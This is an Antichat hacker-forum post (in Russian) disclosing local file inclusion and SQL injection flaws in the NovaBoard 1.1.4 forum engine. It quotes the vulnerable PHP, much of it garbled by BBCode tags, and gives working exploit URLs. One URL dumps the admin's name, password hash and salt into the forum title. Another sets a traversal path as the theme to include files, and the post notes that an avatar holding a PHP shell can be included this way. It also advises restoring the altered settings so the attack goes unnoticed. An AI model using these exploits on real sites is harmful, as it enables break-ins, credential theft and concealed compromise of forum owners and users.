Показать сообщение отдельно

  #4  
Старый 01.07.2010, 02:41
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
С нами: 9389186

Репутация: 573
По умолчанию

RulleR подтолкнул меня вспомнить об этом топике на форуме

Двиг понравился, потестил, добавляю от себя 5 копеек.

Тестил на последней 1.1.4

Код:
http://www.novaboard.net/2010/06/novaboard-release-1-1-4/
1) LFI

---------------------------------

Need

Rg=on

mq=off

---------------------------------

structure.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'forum'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]is_numeric[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'forum'[/COLOR][COLOR="#007700"]])){

[/
COLOR][COLOR="#0000BB"]$forum_id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'forum'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$query2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"select THEME from[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$db_prefix[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]categories WHERE ID = '[/COLOR][COLOR="#0000BB"]$forum_id[/COLOR][COLOR="#DD0000"]'"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$result2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query2[/COLOR][COLOR="#007700"]) or die([/COLOR][COLOR="#DD0000"]"structure.php - Error in query:[/COLOR][COLOR="#0000BB"]$query2[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$num_result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_num_rows[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result2[/COLOR][COLOR="#007700"]);

if ([/COLOR][COLOR="#0000BB"]$num_result[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'0'[/COLOR][COLOR="#007700"]){

[/
COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_result[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result2[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

}

else{

[/
COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

}

}



if
(isset([/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]) && ([/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"])){

[/
COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#FF8000"]// need register_globals

[/COLOR][COLOR="#007700"]........................................

if (isset([/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]) && ([/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"])){

[/
COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"];

........................................

if ([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"themes/[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#DD0000"]/includes/header.php"[/COLOR][COLOR="#007700"])){

include[/COLOR][COLOR="#DD0000"]"themes/[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#DD0000"]/includes/header.php"[/COLOR][COLOR="#007700"];

}

.........................................

[/
COLOR][/COLOR
Как юзать

Код:
http://localhost/nova/index.php?category_theme=../../../../../../../../../[local_file]%00
2) Нашел еще скули требующие rg=on и mq=off

Выложу только самую интересную.

verify.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]]!=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]){

[/
COLOR][COLOR="#0000BB"]$hash_id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$hash_id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]escape_string[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hash_id[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$db_prefix[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]members SET verified = '1' WHERE md5(pass_salt) = '[/COLOR][COLOR="#0000BB"]$hash_id[/COLOR][COLOR="#DD0000"]'"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"SELECT ID, NAME FROM[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$db_prefix[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]members WHERE md5(pass_salt) = '[/COLOR][COLOR="#0000BB"]$hash_id[/COLOR][COLOR="#DD0000"]'"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$sql_result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]) or die ([/COLOR][COLOR="#DD0000"]"download.php - Error in query:[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);

while([/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql_result[/COLOR][COLOR="#007700"])) {

[/
COLOR][COLOR="#0000BB"]$new_id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'ID'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'NAME'[/COLOR][COLOR="#007700"]];

}

[/
COLOR][COLOR="#FF8000"]// register_globals=on

[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$db_prefix[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]settings SET stats_member_id='[/COLOR][COLOR="#0000BB"]$new_id[/COLOR][COLOR="#DD0000"]', stats_member_name='[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#DD0000"]', stats_members=stats_members+1"[/COLOR][COLOR="#007700"]);

[/COLOR][/COLOR
инъект в Update

таблица settings хранит основные настройки форума, мы ее можем update

---------------------------

need

rg=on

mq=off

---------------------------

как юзать.

Если куки не очищены-> чистим

применить можно по разному

1. вывести данные админа

Код:
http://localhost/nova/index.php?page=verify&id=1222&name=1',site_name=(select%20concat(name,0x3a,password,0x3a,pass_salt)%20from%20novaboard_members%20where%20id=1)+--+
идем на главную страницу, вывод палим в имени форума. Не забудьте потом вернуть на место. ато палево.

2. LFI через скуль

если пользователь не авторизован, то инклудится стандартная тема, название которой берется из этой таблицы

structure.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$query2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"select THEME from[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$db_prefix[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]settings"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$result2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query2[/COLOR][COLOR="#007700"]) or die([/COLOR][COLOR="#DD0000"]"Have you run install.php yet?"[/COLOR][COLOR="#007700"]) ;

[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_result[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result2[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

.......................

if ([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"themes/[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#DD0000"]/includes/header.php"[/COLOR][COLOR="#007700"])){

include[/COLOR][COLOR="#DD0000"]"themes/[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#DD0000"]/includes/header.php"[/COLOR][COLOR="#007700"];

}

.......................

[/
COLOR][/COLOR
Код:
http://localhost/nova/index.php?page=verify&id=1222&name=1',theme='../../../../../../../[local_file]%00'+--+
теперь идем на главную страницу, и вместо нее будет висеть проинклуденный файл(если инклудить аватар с пхп кодом шелла, вместо главной страницы будет висеть шелл) Тоже надо не забыть вернуть потом на место тему которая была ато палево.

-----------------------------------------

можно заюзать эту багу и без условий mq и rg, но нужны права админа. Писать не буду, так как смысл отпадает, RulleR уже написал, как имея права админа без палева шелл впендюрить

Усе
 
Ответить с цитированием